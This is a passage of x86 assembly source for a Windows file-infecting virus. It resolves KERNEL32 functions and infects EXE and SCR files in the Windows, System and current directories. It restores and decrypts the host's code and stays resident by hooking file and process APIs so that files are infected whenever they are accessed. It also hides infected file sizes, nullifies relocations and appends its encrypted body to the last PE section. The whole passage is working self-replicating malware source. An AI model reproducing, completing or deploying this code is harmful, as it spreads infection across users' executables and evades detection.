jecxz find_APIs
lea eax ,[ ebp + ddGetProcAddress2 - ebp _num ]
mov [ eax ], ecx
sub eax ,[ ebp + phost_hdr - ebp _num ]
mov [ ebp + ddGetProcAddress - ebp _num ], eax
find_APIs: ;find file related API adressez from KERNEL32..
lea esi ,[ ebp + FunctionNamez - ebp _num ]
lea edi ,[ ebp + FunctionAdressez - ebp _num ]
GetAPIAddress:
call MyGetProcAddressK32 ;get API adress
jecxz quit_app
cld
xchg eax , ecx
stosd ;save retrieved API adress
@ endsz ;point to next API name
cmp [ esi ], al ;end of API namez reached?
jnz GetAPIAddress ;no, get next API adress
lea ebx ,[ ebp + Process_Dir - ebp _num ]
lea edi ,[ ebp + PathName - ebp _num ]
push 7Fh
push edi
call [ ebp + ddGetWindowsDirectoryA - ebp _num ]
call ebx ;infect filez in WINDOWS directory
push 7Fh
push edi
call [ ebp + ddGetSystemDirectoryA - ebp _num ]
call ebx ;infect filez in SYSTEM directory
xor eax , eax
mov byte ptr [ edi ], '.'
inc eax
call ebx ;infect filez in current directory
build_host: ;rebuild the host..
mov esi ,[ ebp + pCodeTable - ebp _num ] ;get code table of host
mov ebx ,[ ebp + phost_hdr - ebp _num ] ;get host base adress
cld
lodsd
add eax , 0B2FD26A3h ;decrypt original entry point RVA
add_1st_val = dword ptr $ - 4
xchg edi , eax
add edi , ebx
push edi ;save entry point for l8r retrieval
get_count:
call [ ebp + ddGetCurrentProcess - ebp _num ] ;get pseudo-handle for current process
xchg ecx , eax
cld
lodsw ;get number of bytes to copy
cwde
xchg ecx , eax
mov edx , ecx
push ecx ;push parameterz to WriteProcessMemory API
push eax
push esp
push ecx
push esi
push edi
push eax
decrypt_hostcode: ;decrypt the chunk of original host code previosly encrypted..
lodsb
xor al , 06Ah
xor_2nd_val = byte ptr $ - 1
rol al , cl
mov [ esi - 1 ], al
loop decrypt_hostcode
sub ecx , 12345678h
old_base = dword ptr $ - 4
add ecx , ebx ;has host base adress been relocated?
jz write_chunk ;no, relocation fix not necesary.. jump
;fix code pointed to by one or more nulified relocationz..
pushad ;get RVA start of relocation section..
lea esi ,[ ebx .MZ_lfanew ]
sub edi , ebx
add esi ,[ esi ]
mov ecx ,[ esi .NT_OptionalHeader \ ;get size of relocation dir.
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_Size \
- MZ_lfanew ]
jecxz _popad
mov esi ,[ esi .NT_OptionalHeader \ ;get RVA to relocation section
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_VirtualAddress \
- MZ_lfanew ]
call redo_reloc ;pass adress of fix_relocs label as a parameter
fix_relocs: ;process relocation block and look for nulified relocationz..
lodsw ;get relocation item
cwde
dec eax
.if si gn?
jnc f_next_reloc ;if first item, jump to get next relocation item
.endif
test ah , mask RD_RelocType shr 8 ;is relocation nulified?
jnz f_next_reloc ;no, jump to get next relocation item
lea eax ,[ eax + ebx + 5 ]
cmp edi , eax ;relocation item points inside chunk of code?
jnc f_next_reloc ;no, jump to get next relocation item
add eax , - 4
cmp eax , edx
jnc f_next_reloc ;no, jump to get next relocation item
;relocation item is pointing inside chunk of code.. add delta to fix it..
pushad
mov ebx ,[ esp . ( 4 * Pshd ) .cPushad.Pushad_ebx ] ;get actual host base adress
mov ebp ,[ ebx + edi - 4 ]
mov ecx ,[ esp . ( 3 * Pshd ) . ( 2 * cPushad ) .Arg3 ] ;get pointer to chunk of code inside code table
mov ebx ,[ ebx + edx ]
xchg ebp ,[ ecx - 4 ]
sub ecx , edi
mov esi ,[ esp . ( 4 * Pshd ) .cPushad.Pushad_ecx ] ;get relocation delta to add
xchg ebx ,[ edx + ecx ]
add [ eax + ecx ], esi ;add delta.. (aack! damned relocationz..)
mov [ edx + ecx ], ebx
popad
clc
f_next_reloc:
loop fix_relocs ;get next relocation item
ret
redo_reloc:
call get_relocs
_popad: popad
write_chunk:
call [ ebp + ddWriteProcessMemory - ebp _num ] ;write chunk of code to the code section
xchg ecx , eax
pop edx
cld
pop eax
jecxz n_host ;if error, jump and try to stay resident without jumpin back to host
xor edx , eax
lodsw ;get pointer to next chunk of code to patch, if any
jnz n_host ;if error, jump and try to stay resident without jumpin back to host
cwde
xchg ecx , eax
sub edi , ecx
jecxz go_resident ;no more chunkz, jump and try to stay resident, then jump back to host
jmp get_count ;jump and patch the next chunk
n_host: pop eax ;unwind return adress, an error occured, cant jump to host :(
go_resident:
lea esi ,[ ebp + FindData - ebp _num ]
push MAX_PATH
push esi
push ecx
call [ ebp + ddGetModuleFileName - ebp _num ] ;get host filename
xchg ecx , eax
lea ebx ,[ ebp + jmp_addr_table - ebp _num ] ;get pointer to start of jump adress table
jecxz g_host
call Open & MapFile ;open host filename and memory-map it
g_host: jecxz jmp_host ;if error, jump back to host
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE or MEM_TOP_DOWN
push ( virtual_end2 - code_start + 3 ) and - 4
push esi ;NULL ;let OS choose memory adress
call [ ebp + ddVirtualAlloc - ebp _num ] ;allocate enough memory for virus code and bufferz
lea ecx ,[ ebp + FunctionNamez2 - ebp _num ] ;get pointer to start of function namez to hook
mov edi , non_res - code_start
xchg ecx , eax ;get size of new allocated block
lea esi ,[ ecx + PathNamez - code_start ]
jecxz cl ose_jmp_host ;if error on VirtualAlloc, close file and jump to host
xchg edi , ecx ;get target adress of new allocated block
mov [ ebp + pPathNamez - ebp _num ], esi ;initialize pointer to store future pathnamez retrieved by Find(First/Next)File(A/W)
mov esi , edi
xchg [ ebp + pcode_start - ebp _num ], esi ;get source adress of virus code and store new target adress as new source adress
lea edx ,[ edi + ecx + jmp_table_size + 1 ]
mov [ ebp + pNewAPIs - ebp _num ], edx ;initialize pointer to store hooked APIs in the new jump table
cld
rep movsb ;copy virus code to new allocated block
mov [ esi ], cl ;force a null to mark the end of function namez to hook
pop ecx ;get start of memory-maped file
inc edi ;get pointer to NewAPItable
push ecx
hook_api: ;hook API functionz, retrieve old API adress and build new API entry into jump table..
pushad
call IGetProcAddressIT ;get RVA pointer of API function inside import table
test eax , eax
jz next_api_hook ;if not found, jump and get next API name
add eax ,[ ebp + phost_hdr - ebp _num ] ;convert RVA to real pointer by addin the actual host base adress
mov edx , esp
push eax
push esp
xchg esi , eax
mov al , 0B8h ;build "mov eax,?" instruction into jump table
push 4
push edx
stosb
call [ ebp + ddGetCurrentProcess - ebp _num ]
push esi
push eax
cld
movsd ;get and copy old API adress into jump table
call [ ebp + ddWriteProcessMemory - ebp _num ] ;set our API hook
cld
mov al , 0E9h ;build "jmp ?" instruction to jump to new API handler
pop edx
pop ecx
stosb
movzx eax , word ptr [ ebx ] ;build relative offset to new API handler
sub eax , edi
add eax ,[ ebp + pcode_start - ebp _num ]
stosd
push edi
next_api_hook:
popad
inc ebx
xchg esi , eax
@ endsz ;get pointer to next API name
inc ebx
cmp [ esi ], al ;check end of API namez to hook
xchg eax , esi
jnz hook_api ;jump and get next API, if there are more APIz to hook
close_jmp_host:
call Cl ose & UnmapFile ;close and unmap host file
jmp_host:
cld
pop eax
jmp eax ;jmp to host.. or try to quit aplication if an error ocurred while patchin the code section
NewGetProcAddr: ;new GetProcAddress API entry point.. hook wanted API functionz from KERNEL32..
call APICall@n_2 ;call old GetProcAdress API and retrieve API adress in EAX
pushad
mov ecx ,[ esp .cPushad.Arg1 ] ;get module handle/base adress
call get_ebp ;get EBP to reference internal variablez correctly
xchg ecx , eax
jecxz end_getproc ;get out if retrieved API adress is zero
sub eax ,[ ebp + K32Mod - ebp _num ] ;is it KERNEL32 base adress?
jnz end_getproc ;no, get out
lea edx ,[ ebp + jmp_addr_table - 2 - ebp _num ] ;yea its KERNEL32, get pointer to start of jump table
lea edi ,[ ebp + FunctionNamez2 - 1 - ebp _num ] ;get pointer to API function namez to hook
cld
n_gproc_next_str: ;search specified API function name from the list of posible API namez to hook..
inc edx
scasb ;get adress to next API function name
jnz $ - 1
mov esi ,[ esp .cPushad.Arg2 ] ;get pointer to specified API function name
inc edx
scasb
jz end_getproc ;if end of API namez reached, get out
dec edi
n_gproc_next_chr:
cmpsb ;do API namez match?
jnz n_gproc_next_str ;no, get next API name
dec edi
scasb
jnz n_gproc_next_chr
n_gproc_apis_match: ;API namez match, we need to hook the API..
lea ebx ,[ ebp + NewAPItable + nAPIS - 10 - ebp _num ] ;get top of jump table
mov edi ,[ ebp + pNewAPIs - ebp _num ] ;get current pointer to build new API entry
cmp ebx , edi ;check if jump table is full
jc end_getproc ;get out if full
push edi
sub al , - 0B8h ;build "mov eax,?" instruction into jump table
stosb
pop eax
xchg eax ,[ esp .Pushad_eax ] ;retrieve old API adress and swap with the new API adress
stosd
mov al , 0E9h ;build "jmp ?" instruction to jump to new API handler
stosb
movzx eax , word ptr [ edx ] ;build relative offset to new API handler
sub eax , edi
add eax ,[ ebp + pcode_start - ebp _num ]
stosd
mov [ ebp + pNewAPIs - ebp _num ], edi ;update pointer to next API entry in the jump table
end_getproc:
popad
ret ( 2 * Pshd ) ;return to caller
jmp_addr_table: ;adress table.. contains relative offsetz to new API handlerz..
dw NewGetProcAddr - code_start - 4
dw NewGetFileAttrA - code_start - 4
dw NewGetFileAttrW - code_start - 4
dw NewMoveFileExA - code_start - 4
dw NewMoveFileExW - code_start - 4
dw New_lopen - code_start - 4
dw NewCopyFileA - code_start - 4
dw NewCopyFileW - code_start - 4
dw NewOpenFile - code_start - 4
dw NewMoveFileA - code_start - 4
dw NewMoveFileW - code_start - 4
dw NewCreateProcessA - code_start - 4
dw NewCreateProcessW - code_start - 4
dw NewCreateFileA - code_start - 4
dw NewCreateFileW - code_start - 4
dw NewFindCloseX - code_start - 4
dw NewFindFirstFileA - code_start - 4
dw NewFindFirstFileW - code_start - 4
dw NewFindNextFileA - code_start - 4
dw NewFindNextFileW - code_start - 4
dw NewSetFileAttrA - code_start - 4
dw NewSetFileAttrW - code_start - 4
jmp_table_size = $ - jmp_addr_table
NewSetFileAttrW: ;new API handlerz (unicode version)..
NewCreateFileW:
NewCreateProcessW:
NewMoveFileW:
NewCopyFileW:
NewMoveFileExW:
NewGetFileAttrW:
CommonProcessW:
test al , ? ;clear carry (unicode version)
org $ - 1
NewSetFileAttrA: ;new API handlerz (ansi version)..
NewCreateFileA:
NewCreateProcessA:
NewMoveFileA:
NewOpenFile:
NewCopyFileA:
New_lopen:
NewMoveFileExA:
NewGetFileAttrA:
CommonProcessA:
stc ;set carry (ansi version)
pushad
call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez correctly and convert unicode string to ansi (for unicode version APIz)
jecxz jmp_old_api
call findfirst ;get atributez, size of file and check if it exists
jz jmp_old_api
dec eax
push eax ;save search handle
@ copysz ;copy filename to an internal buffer
call Process_File2 ;try to infect file..
NCF_close:
call [ ebp + ddFindClose - ebp _num ] ;close file search
jmp_old_api:
popad
jmp eax ;jump to original API adress
NewFindFirstFileW: ;new findfirst API handler.. infect files, stealth (unicode version)
test al , ? ;clear carry (unicode version)
org $ - 1
NewFindFirstFileA: ;new findfirst API handler.. infect files, stealth (ansi version)
stc ;set carry (ansi version)
call APICall@n_2 ;call old findfirst API
pushad
inc eax ;if any error, get out
jz go_ret_2Pshd
dec eax
jz go_ret_2Pshd
call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez correctly and convert unicode string to ansi (for unicode version APIz)
jecxz go_ret_2Pshd
mov edi ,[ ebp + pPathNamez - ebp _num ] ;get pointer to new entry in pathnamez table
lea ebx ,[ ebp + PathNamez + nPATHNAMEZ - MAX_PATH - ebp _num ] ;get top of pathnamez table
cmp edi , ebx
jnc go_ret_2Pshd ;if not enough space to store filename, jump
mov ebx , edi
@ copysz ;copy filename to pathnamez table
next2_ff: mov al ,[ edi - 1 ] ;get end of path..
add al , - '\'
jz eop_ff
sub al , ':' - '\'
jz eop_ff
dec edi
cmp ebx , edi
jc next2_ff
xor al , al
eop_ff: stosb ;force null to split path from filename
mov [ ebp + pPathNamez - ebp _num ], edi ;update pointer to next entry in pathnamez table
call get_handle_ofs_0 ;get new free entry in handlez table
jc go_ret_2Pshd
mov eax ,[ esp .Pushad_eax ] ;get handle returned by findfirst
stosd ;store handle into handlez table
xchg eax , ebx
stosd ;store pointer to asociated pathname into handlez table as well
mov [ ebp + pHandlez - ebp _num ], edi ;update pointer to next entry in handlez table
xchg esi , eax
jmp FindCommon
go_ret_2Pshd: popad ;return to caller
ret ( 2 * Pshd )
NewFindNextFileW: ;new findnext API handler.. infect files, stealth (unicode version)
test al , ? ;clear carry (unicode version)
org $ - 1
NewFindNextFileA: ;new findnextt API handler.. infect files, stealth (ansi version)
stc ;set carry (ansi version)
call APICall@n_2 ;call old findnext API
pushad
call get_handle_ofs_ebp ;get correct entry in handlez table acordin to handle
jc go_ret_2Pshd
mov esi ,[ edi + 4 ] ;get respective pathname
FindCommon: lea edi ,[ ebp + PathName - ebp _num ]
@ copysz ;copy pathname to respective buffer
dec edi
mov ebx ,[ esp .cPushad.Arg2 ] ;get WIN32_FIND_DATA parameter
or al ,[ ebp + uni_or_ansi - ebp _num ] ;check if its ansi or unicode
lea esi ,[ ebx .WFD_szFileName ] ;get filename
jnz its_ansi_fc
call Uni2Ansi ;its unicode, convert to ansi and atach filename to pathname
its_ansi_fc: call Process_File3 ;try to infect file
call get_size ;get file size
jnz go_ret_2Pshd
test [ ebx .WFD_nFileSizeLow.hiw.hib ], 11111100b ;filesize > 64MB?
jnz go_ret_2Pshd ;yea, file too large, jump
div ecx
dec edx
jns go_ret_2Pshd ;if not infected, jump, stealth not necesary
call ch eck_PE_file ;file is infected, do size stealth
jmp go_ret_2Pshd
NewFindCloseX: mov cl , 1
call APICall@n ;call old findclose API
pushad
call get_handle_ofs_ebp ;get correct entry in handlez table acordin to handle
jc go_ret_Pshd
lea esi ,[ edi + 4 ]
mov ecx ,[ ebp + pHandlez - ebp _num ]
lodsd
sub ecx , esi
pushad
xchg esi , eax ;remove pathname entry
mov ecx ,[ ebp + pPathNamez - ebp _num ]
mov edi , esi
@ endsz
sub ecx , esi
mov [ esp .Pushad_ebx ], ecx
rep movsb
mov [ ebp + pPathNamez - ebp _num ], edi ;update pointer to handlez table
popad
shr ecx , 3 ;remove handle entry
jz setH_fc
FixpPathNamez: movsd
lodsd
sub eax , ebx
stosd
loop FixpPathNamez
setH_fc: mov [ ebp + pHandlez - ebp _num ], edi ;update pointer to pathnamez table
go_ret_Pshd: popad
ret ( Pshd )
Open & MapFile proc ;open and map file in read only mode
; on entry:
; ESI = pszFileName (pointer to file name)
; on exit:
; ECX = 0, if error
; ECX = base adress of memory-maped file, if ok
xor edi , edi
Open & MapFileAdj : ;open and map file in read/write mode
; on entry:
; EDI = file size + work space (in bytes)
; ESI = pszFileName (pointer to file name)
; on exit:
; ECX = 0, if error
; ECX = base adress of memory-maped file, if ok
; EDI = old file size
xor eax , eax
push eax ;0
push eax ;FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax ;NULL
mov al , 1
push eax ;FILE_SHARE_READ
ror eax , 1 ;GENERIC_READ
mov ecx , edi
jecxz $ + 4
rcr eax , 1 ;GENERIC_READ + GENERIC_WRITE
push eax
push esi ;pszFileName
call [ ebp + ddCreateFileA - ebp _num ] ;open file
cdq
xor esi , esi
inc eax
jz end_Open & MapFile ;if error, jump
dec eax
push eax ;push first handle
push edx ;NULL
push edi ;file size + buffer size
push edx ;0
mov dl , PAGE_READONLY
mov ecx , edi
jecxz $ + 4
shl dl , 1 ;PAGE_READWRITE
push edx
push esi ;NULL
push eax ;handle
call [ ebp + ddCreateFileMappingA - ebp _num ] ;create file mapping
cdq
xchg ecx , eax
jecxz end_Open & MapFile2 ;if error, close handle and jump
push ecx ;push second handle
push edi ;file size + buffer size
push edx ;0
push edx ;0
mov dl , FILE_MAP_READ
test edi , edi
.if ! zero?
shr dl , 1 ;FILE_MAP_WRITE
mov edi ,[ ebx .WFD_nFileSizeLow ]
.endif
push edx
push ecx ;handle
call [ ebp + ddMapViewOfFile - ebp _num ] ;map view of file
xchg ecx , eax
jecxz end_Open & MapFile3
push ecx ;push base adress of memory-maped file
jmp [ esp . ( 3 * Pshd ) .RetAddr ] ;jump to return adress leavin parameterz in the stack
Open & MapFile endp
Close & UnmapFile proc ;close and unmap file previosly opened in read only mode
xor edi , edi
Close & UnmapFileAdj : ;close and unmap file previosly opened in read/write mode
pop [ esp . ( 4 * Pshd ) .RetAddr - Pshd ]
call [ ebp + ddUnmapViewOfFile - ebp _num ] ;unmap view of file
end_Open & MapFile3 :
call [ ebp + ddCloseHandle - ebp _num ] ;close handle
mov ecx , edi
jecxz end_Open & MapFile2 ;if read-only mode, jump
pop eax
push eax
push eax
xor esi , esi
push esi
push esi
push edi
push eax
xchg edi , eax
call [ ebp + ddSetFilePointer - ebp _num ] ;move file pointer to the real end of file
call [ ebp + ddSetEndOfFile - ebp _num ] ;truncate file at real end of file
lea eax ,[ ebx .WFD_ftLastWriteTime ]
push eax
push esi
push esi
push edi
call [ ebp + ddSetFileTime - ebp _num ] ;restore original date/time stamp field
end_Open & MapFile2 :
call [ ebp + ddCloseHandle - ebp _num ] ;close handle
end_Open & MapFile :
xor ecx , ecx
ret
Close & UnmapFile endp
get_ebp2_Uni2Ansi: ;this function sets EBP register to reference internal
; variablez correctly and also converts unicode
; strings to ansi (for unicode version APIz only).
;this function is only useful at the resident stage.
;on entry:
; TOS+28h (Pshd.cPushad.Arg1): pointer to specified file name
;on exit:
; ECX = 0, if error
mov esi ,[ esp . ( Pshd ) .cPushad.Arg1 ] ;get source pointer to specified file name
call get_ebp2 ;get actual EBP
lea edi ,[ ebp + PathName - ebp _num ] ;get target pointer to internal buffer
jc ansiok
Uni2Ansi: ;this function converts an ansi string to a unicode string
;on entry:
; ESI = pointer to specified file name
;on exit:
; ECX = 0, if error
xor eax , eax
push eax ;NULL
push eax ;NULL
push MAX_PATH
push edi ;target pointer
push - 1
push esi ;source pointer
push eax
push eax ;CP_ACP
call [ ebp + ddWideCharToMultiByte - ebp _num ]
mov esi , edi
ansiok: xchg ecx , eax
cld
ret
Rva2Raw proc ;this function converts RVA valuez to RAW pointerz inside PE
; filez. This function is specialy useful for memory-maped
; filez.
;given a RVA value, this function returns the start adress
; and size of the section containin it, plus its relative
; delta value inside the section.
;on entry:
; EAX = RVA value
; EBP = start of memory-maped file (MZ header)
; ESI = start of PE header + 3Ch
;on exit:
; EBP = RAW size of section
; EBX = RAW start of section
; ECX = 0, if not found
; start of respective section header (+ section header
; size), if found
; EDX = RVA start of section
; ESI = relative delta of RVA value inside section.
movzx ecx , word ptr [ esi .NT_FileHeader \ ;get number of sectionz
.FH_NumberOfSections \
- MZ_lfanew ]
jecxz end_Rva2Raw
movzx ebx , word ptr [ esi .NT_FileHeader \ ;get first section header
.FH_SizeOfOptionalHeader \
- MZ_lfanew ]
lea ebx ,[ esi .NT_OptionalHeader + ebx - MZ_lfanew ]
x = IMAGE_SIZEOF_SECTION_HEADER
match_virtual: ;scan each PE section header and determine if specified RVA
;value points inside
mov esi , eax
mov edx ,[ ebx .SH_VirtualAddress ]
sub esi , edx
sub ebx , - x
cmp esi ,[ ebx .SH_VirtualSize - x ] ;is RVA value pointin inside current section?
jb section_found ;yea we found the section, jump
loop match_virtual ;nope, get next section
end_Rva2Raw:
ret
Rva2Raw endp
get_handle_ofs_ebp: ;this function sets EBP register to reference internal
; variablez correctly and also given a handle, it gets
; a pointer to an entry in the handlez table.
;this function is only useful at the resident stage.
;on entry:
; TOS+28h (Pshd.cPushad.Arg1): specified handle
;on exit:
; EDI = pointer to entry in handlez table
; Carry clear, if ok
; Carry set, if error
xchg ecx , eax
jecxz end_gho_stc
call get_ebp2
mov ecx ,[ esp . ( Pshd ) .cPushad.Arg1 ] ;get handle
jecxz end_gho_stc
xchg eax , ecx
cmp ax , ?
org $ - 2
get_handle_ofs_0: ;gets a pointer to an empty entry in the handlez table
;this function is only useful at the resident stage.
;on exit:
; EDI = pointer to entry in handlez table
; Carry clear, if ok
; Carry set, if error
sub eax , eax
get_handle_ofs: ;given a handle, this function gets a pointer
; to an entry in the handlez table.
;this function is only useful at the resident stage.
;on entry:
; EAX = specified handle
;on exit:
; EDI = pointer to entry in handlez table
; Carry clear, if ok
; Carry set, if error
lea edi ,[ ebp + Handlez - 8 - ebp _num ]
lea edx ,[ edi + nHANDLEZ ]
next_gho: scasd ;add edi,8
scasd ;
cmp edx , edi ;top of handlez table reached?
jc end_gho ;yea, handle not found, jump
cmp eax ,[ edi ] ;do handlez match?
jnz next_gho ;no, check next handle, jump
test al , ? ;yea, handle found, clear carry
org $ - 1
end_gho_stc: stc ;set carry
end_gho: ret
section_found:
x = IMAGE_SIZEOF_SECTION_HEADER
xchg ebp , ebx
add ebx ,[ ebp .SH_PointerToRawData - x ] ;get RAW start of section
xchg ecx , ebp
mov ebp ,[ ecx .SH_SizeOfRawData - x ] ;get RAW size of section
cld
ret
get_relocs: ;this comon funtion is called from both instalation and
; infection stage.
;it simply locates each relocation block in the .reloc section
; and calls a function to (a) nulify those dangerous reloca-
; tionz in a block (infection stage) or (b) to fix the code
; pointed to by such marked relocationz (instalation stage).
;on entry:
; EDI = RVA start pointer to chunk of code
; TOS+04h (Arg1): fix_relocs label function adress (instalation stage)
; or
; nul_relocs label function adress (infection stage)
; TOS+00h (return adress)
add esi , ebx ;get start of relocation section in aplication context
add edx , edi ;get end adress of chunk code
lea ebp ,[ ecx + esi ] ;get end of relocation section in aplication context
process_reloc_blocks:
lodsd
xchg ebx , eax ;get start RVA for this block of relocationz
lea ecx ,[ ebx + 4096 ] ;get end RVA where relocationz can point in a block
lodsd ;get size of reloc block
x = IMAGE_SIZEOF_BASE_RELOCATION
add eax , - x
cmp edi , ecx ;RVA pointer inside relocation block? (check low boundary)
lea ecx ,[ eax + esi ] ;get next block adress
push ecx
jnc next_reloc_block
shr eax , 1
cmp ebx , edx ;RVA pointer inside relocation block? (check high boundary)
jnc next_reloc_block
xchg ecx , eax ;get number of relocationz for this block
jecxz next_reloc_block
call [ esp . ( Pshd ) .Arg1 ] ;call fix_relocs function or nul_relocs function
next_reloc_block:
pop esi ;get next block adress
lea eax ,[ esi + x ]
cmp eax , ebp ;end of relocation blockz?
jc process_reloc_blocks ;no, process the block, jump
ret ( Pshd ) ;yea, no more relocation blockz, return
Process_File3: ;this function copies a filename to an internal buffer
; and checks the extension thru a list of infectable
; extensions (EXE and SCR filez for the moment). If
; the extension matches, the file will be infected.
@ copysz
mov edx , not 0FF202020h ;upercase mask
mov ecx ,[ edi - 4 ] ;get filename extension
lea esi ,[ ebp + Exts - ebp _num ] ;get pointer to list of extensionz
and ecx , edx ;convert file extension to upercase
next_ext:
lodsd ;get extension from list
dec al ;no more extensionz?
js end_PF3
and eax , edx ;convert extension to upercase
dec esi
xor eax , ecx ;do extensionz match?
jnz next_ext
cmp byte ptr [ edi - 5 ], '.'
jnz end_PF3 ;no, get next extension
call Process_File2 ;yes, extensionz match, infect file
end_PF3: ret
err_Rva2Raw:
popad ;needed to unwind the stack from some function
err_Rva2Raw2:
popad ;needed to unwind the stack from some function
ret
Attach proc ;attach virus code to last section in the PE file and
; change section characteristicz to reflect infection.
;on entry:
; ECX = base of memory-maped file
; EDI = original file size
;on exit:
; EDI = new file size
lea esi ,[ ecx .MZ_lfanew ] ;get base of PE header + 3Ch
mov eax ,[ ebp + pcode_start - ebp _num ] ;get start adress of virus code
add esi ,[ esi ]
mov edx ,[ esi .NT_OptionalHeader \ ;get built-in image base
.OH_ImageBase \
- MZ_lfanew ]
pushad ;save valuez to stack
xor eax , eax
x = IMAGE_SIZEOF_SECTION_HEADER
sub al , - x
mul byte ptr [ esi .NT_FileHeader \ ;get number of sectionz
.FH_NumberOfSections \
- MZ_lfanew ]
add ax , word ptr [ esi .NT_FileHeader \ ;get first section header
.FH_SizeOfOptionalHeader \
- MZ_lfanew ]
jc err_Rva2Raw2
lea ebx ,[ esi .NT_OptionalHeader - MZ_lfanew + eax ]
mov eax ,[ esi .NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew ]
mov edx ,[ esi .NT_OptionalHeader.OH_FileAlignment - MZ_lfanew ]
dec eax
dec edx
or eax , edx ;check SectionAlignment and FileAlignment fieldz
cmp eax , 10000h
jnc err_Rva2Raw2 ;too large?
add edi , ecx ;get end of file in MM-file
inc al
jnz err_Rva2Raw2
mov eax ,[ ebx .SH_VirtualAddress - x ]
mov ebp , ecx ;get MM-file base address
add eax , edi
add ecx ,[ ebx .SH_PointerToRawData - x ]
sub eax , ecx ;get new RVA entry point
;at this point:
;
; cPushad.EAX = source adress of code to copy (start at encrypted stringz)
; cPushad.EBX = embedded (in PE header) host base address
; EBP = start of MM-file. Base address of MM-file
; EAX = new RVA entry point (start of virus code RVA)
; EDX = file alignment - 1
; EDI = target adress where code will be copied to in the MM-File
; ECX = start adress of last section in the MM-file
; EBX = start adress of last section header (plus section header size)
; in the MM-file
; ESI = start of PE header (+ 3Ch) in the MM-file
pushad
mov eax ,[ esi .NT_OptionalHeader \ ;get current entry point
.OH_AddressOfEntryPoint \
- MZ_lfanew ]
;on entry:
;
; EAX = Host EntryPoint RVA
; EBP = start of MZ header (start of MM-file)
; ESI = start of PE header + 3Ch (in MM-file)
call Rva2Raw ;find true code section (clue: EntryPoint RVA points inside)
;on exit:
;
; EBP = raw size of CODE section
; EBX = raw start of CODE section
; ECX = 0, if not found
; start of CODE section header (+ section header size), if found
; EDX = start of CODE section RVA
; ESI = relative delta of RVA inside CODE section.
jecxz err_Rva2Raw ;code section not found, invalid EntryPoint
pushad
mov ebp , esp
mov edx ,[ ebp . ( 2 * cPushad ) .Pushad_ebp ] ;get original ebp
x = IMAGE_SIZEOF_SECTION_HEADER
or byte ptr [ ecx .SH_Characteristics.hiw.hib - x ], 20h ;set exec bit to section
exec_set:
mov esi ,[ edx + ImportHdr - ebp _num ] ;get import section header
xor ecx , esi ;is import table inside code section?
jz IT_in_Code ;yea, jump
;import table NOT inside code section (i.e. probably exists an .idata section)
or byte ptr [ esi .SH_Characteristics.hiw.hib - x ], 80h ;set writable bit
IT_in_Code: ;import table is inside code section (stupid microsoft)
;no need to set the writable bit (the exec bit does the job)
sub ecx , ecx
push edi ;need this value l8r, push it
mov cl , 5
sub eax , 0B2FD26A3h
sub_1st_val = dword ptr $ - 4
add edi , ecx ;add edi,5
stosd
push edi
mov eax , ecx ;ax = 5
stosw
sub al , - 0e9h + 5 ;al = E9h
stosb
mov eax ,[ ebp .cPushad.Pushad_eax ] ;get RVA start of virus code
sub eax ,[ ebp .Pushad_eax ]
sub eax , ecx ;sub eax,5
stosd
xor eax , eax
pop esi
stosw ;0
mov edi ,[ ebp .Pushad_eax ]
nulify_relocs: ;nulify relocs that could overwrite our inserted chunks of code..
push edi
lodsw
cwde
pushad
mov esi ,[ ebp .cPushad.Pushad_esi ] ;get PE header (+ 3Ch)
mov ecx ,[ esi .NT_OptionalHeader \ ;get size of relocation blockz
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_Size \
- MZ_lfanew ]
jecxz go_popad ;no relocationz, jump
push eax ;save size of this chunk of code temporarily
push ecx
mov ebp ,[ ebp .cPushad.Pushad_ebp ] ;get base of MM-file (MZ header)
mov eax ,[ esi .NT_OptionalHeader \ ;get RVA start of relocation blockz
.OH_DirectoryEntries \
.DE_BaseReloc \
.DD_VirtualAddress \
- MZ_lfanew ]
call Rva2Raw ;convert RVA to a raw offset inside the section
pop eax
pop edx ;retrieve size of this chunk of code temporarily
jecxz go_popad
xchg ecx , eax
call mark_reloc ;pass nul_relocs as a parameter to get_relocs function
nul_relocs:
lodsw ;get relocation item
cwde
ror eax , 3 * 4
add al , - IMAGE_REL_BASED_HIGHLOW ;check relocation type
jnz n_next_reloc ;not valid, get next relocation item
shr eax , 5 * 4 ;strip or blank relocation type field from relocation item
lea eax ,[ eax + ebx + 4 ] ;convert relocation pointer to RVA
cmp edi , eax ;check if relocation points to our chunk of code..
jnc n_next_reloc ;check low boundary
add eax , - 4
cmp eax , edx ;check high boundary
jnc n_next_reloc ;it doesnt point to our chunk of code, get next relocation item
;this relocation item is pointing inside our chunk of code..
;nulify and mark it!
and byte ptr [ esi .hib - 2 ], not ( mask RD_RelocType shr 8 ) ;nulify relocation!
n_next_reloc:
loop nul_relocs ;get next relocation item
ret
mark_reloc:
call get_relocs
go_popad:
popad
xchg ecx , eax ;size of this chunk of code
add edi ,[ ebp .Pushad_ebx ] ;convert RVA start of chunk of code to a raw value
sub edi ,[ ebp .Pushad_edx ]
pre_crypt:
lodsb ;encrypt chunk of code..
xchg [ edi ], al
ror al , cl
inc edi
xor al , 06Ah
_xor_2nd_val = byte ptr $ - 1
mov [ esi - 1 ], al
loop pre_crypt
lodsw ;get next chunk of code
cwde
pop edi
xchg ecx , eax ;no more chunkz?
jecxz pre_crypt_done
sub edi , ecx ;point EDI to next chunk
jmp nulify_relocs ;check relocationz, jump
pre_crypt_done:
sub al , - 0e8h ;build 'call' instruction
pop edi
stosb
lea eax ,[ eax + get_base - code_start - 4 - 0e8h + esi ] ;
sub eax , edi
stosd
mov cx ,( v_end - code_start + 3 ) / 4
add eax , edi
mov edi ,[ ebp .cPushad.cPushad.Pushad_eax ] ;get start of virus code
mov edx ,[ ebp .cPushad.cPushad.Pushad_edx ] ;get embedded base
xchg esi , edi
rep movsd ;copy virus code
sub ecx ,[ ebp .cPushad.Pushad_eax ]
mov [ ebp .cPushad.Pushad_edi ], edi
add ecx , - 5
mov [ eax + old_base - get_base ], edx ;hardcode some valuez..
mov [ eax + delta_host - get_base ], ecx
popad
popad
x = IMAGE_SIZEOF_SECTION_HEADER
sub edi , ecx ;change characteristicz of last section in the PE header..
lea ecx ,[ edx + edi ]
xchg edx , eax
inc eax
